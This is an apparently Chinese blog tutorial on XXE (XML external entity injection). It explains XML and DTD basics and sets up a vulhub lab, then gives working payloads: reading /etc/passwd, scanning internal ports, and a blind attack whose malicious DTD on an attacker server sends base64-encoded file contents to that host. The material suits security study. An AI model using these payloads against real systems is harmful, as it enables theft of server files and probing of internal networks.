XXE漏洞

XXE漏洞

外部实体注入攻击(XXE)

漏洞简介

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

漏洞危害

引用外部实体任意文件读取
探测内网端口
命令执行
DOS攻击

什么是xml

XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
XML把数据从HTML分离,XML是独立于软件和硬件的信息传输工具。
基本语法:
所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
实体引用,这里看个例子,如果你把字符 “<” 放在 XML,素中,会发生错误,这是因为解析器会把它当作新元素的开始。这样会产生XML错误: <message>if salary <1000 then</message> ,为了避免错误。我们用实体引用<来代替”<”字符。XML中,有5个预定义的实体引用。
XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。


image.png


在 XML 中,空格会被保留,多个空格不会被合并为一个。
<bookstore>
<book category=”COOKING”>
<title> Everyday</title>
<author>Me</author>
<year>2020</year>
<price>30.00</price>
</book>
</bookstore>

什么是DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
最常见的DTD声明
<!DOCTYPE html>
<html>
<head>
<title>文档的标题</title>
</head>

<body>
文档的内容......
</body>

</html>

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,title,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>admin</to>
<from>Alpenliebe</from>
<title>test</title>
<body>hello world</body>
</note>
不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用& <>实体来分别替换
PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开
note.dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,title,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
note.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>admin</to>
<from>Alpenliebe</from>
<title>test</title>
<body>hello world</body>
</note>

DTD元素

image.png

DTD-实体(重要)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体又分为一般实体和参数实体
实体引用是对实体的引用。
实体可以在内部或外部进行声明
内部实体与外部实体

实体类型 内部实体 外部实体
语法 <!ENTITY 实体名称 “实体值”> <!ENTITY 实体名称 system “URL/URI”>
例子 <!ENTITY test “test”> <!ENTITY test system “test.dtd”>
XML例子 <author>&test;</author> <author>&test;</author>

内部实体

<!ENTITY 实体名称 “实体值”>

例子代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>

<xxe>&file;</xxe>

外部实体

libxml2.9.0以后,默认不解析外部实体
php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。

例子代码
xxe.dtd中
<!DOCTYPE foo [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
xxe.xml中
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "xxe.dtd">
]>
<name>&xxe;</name>

实验环境搭建

安装centos7
安装docker-compose

sudo curl -L "https://github.com/docker/compose/releases/download/1.27.4/docker-compose-(uname -s)-(uname -m)" -o /usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

docker-compose --version

下载这个项目的所有文件
https://github.com/vulhub/vulhub/tree/master/php/php_xxe

启动环境
docker-compose up -d
如果需要改动环境的端口
就在docker-compose.yml修改映射端口
如果要修改网站目录下的代码就在www目录下进行增删改即可

PHP支持的文件操作协议(常见)

file 协议,file:///etc//passwd
php 协议,php://filter/read=convert.base64-encode/resource=index.php
http协议,http://127.0.0.1:80

有回显的XXE

任意文件读取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>


image.png

还可以用我提供的xxe.py读取
扫描内网端口
<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ELEMENT xxe SYSTEM “http://127.0.0.1:80”>]>
<root>
<name>&xxe;</name>
</root>

无回显的XXE

vps上的恶意dtd文件,这里需要注意,务必要用php://filter协议base64编码,否则系统会提示找不到uri资源,导致无法请求成功
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.51.48:8888/%payload;'>">
%int;
%trick;
发送payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.51.48:8888/eyi.dtd"> %remote;]>

image.png

无回显攻击流程:

先调用%remote,请求远程服务器(攻击服务器)上的eyi.dtd。
再调用 eyi.dtd中的 %payload。%payload 获取受攻击的服务器上面的敏感文件,然后将 %%payload的返回结果传到%int 。
然后调用 %trick; 把读取到的数据发送到远程服务器上。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容